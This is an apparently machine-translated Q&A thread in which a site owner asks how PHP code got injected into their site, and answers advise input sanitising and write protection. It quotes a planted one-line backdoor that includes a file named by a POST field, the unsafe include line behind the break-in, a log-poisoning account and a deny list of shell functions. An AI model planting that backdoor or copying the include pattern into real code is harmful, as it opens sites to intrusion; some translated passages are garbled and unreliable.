所以我在网站上找到了注入的代码。一些php文件前面加上obfuscated code,其评估为a script,允许访问文件系统中的其他文件并执行终端命令。其他一些页面注入了这个简单的代码:
<?php
if(isset($_POST{"VXzGE"})) include_once($_POST{"VXzGE"});
我被告知在那里没有任何违反服务器本身的行为,所以我能想到的唯一方法就是可以通过不安全的形式来解决这个问题。假设该网站有多种形式:
我如何检查注射的来源?
我确信必须有一些常见的方式来做这种事情,它们是什么?
仅供参考我的服务器通过php.ini禁用这些功能:
disable_functions = "apache_child_terminate, escapeshellarg, escapeshellcmd, exec, fp, fput, highlight_file, passthru, php_uname, popix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, prce, system"
答案 0 :(得分:0)
输入显然来自...输入:)搜索$_GET
,$_POST
和$_REQUEST
的所有文件(或者如果您使用像Kohana这样的框架,{{1}或者该框架的相关方法是什么。
您应该始终清理所有输入,即使它是您在表单上设置为隐藏字段的内容 - 它可以由用户更改,并且您不能认为它是干净的。
基本的“清理”方法是在输入上运行$this->input->post()
,但我建议使用更强大的方法。我选择的武器通常是从Kohana 2.3(输入库,xss_clean方法) - pick a version from here借用htmlspecialchars()
方法。这样做的好处在于,它是由那些真正了解自己的东西的人开发的,经过社区编辑并且工作非常好。
答案 1 :(得分:0)
看起来你的文件没有写保护(只读)。最重要的是你应该这样做,所以使代码只读。它很容易实现并且非常有效。
接下来,您应确保进入应用程序的所有输入正确列入白名单,并阻止任何不允许的内容。对于PHP,建议安装suhosin extension。
答案 2 :(得分:0)
为了将来参考,我将公开用于注入代码的漏洞。
首先,有一个带有明显漏洞的单个不安全文件:
include 'pages/' . $_GET['page'] . '.php';
这并没有让攻击者对文件系统进行写入访问,但由于网站可以访问整个文件系统,因此能够读取Apache日志文件(Apache不是chrooted和不安全的文件权限)。攻击者发现这个漏洞让他在网址中植入了一个恶意代码,这个代码在他读取Apache日志文件的那一刻就被执行了。
所以最后一个明显的漏洞和其他几个疏忽允许这个代码注入。
删除了不安全的文件,修补了漏洞 - 吸取了教训。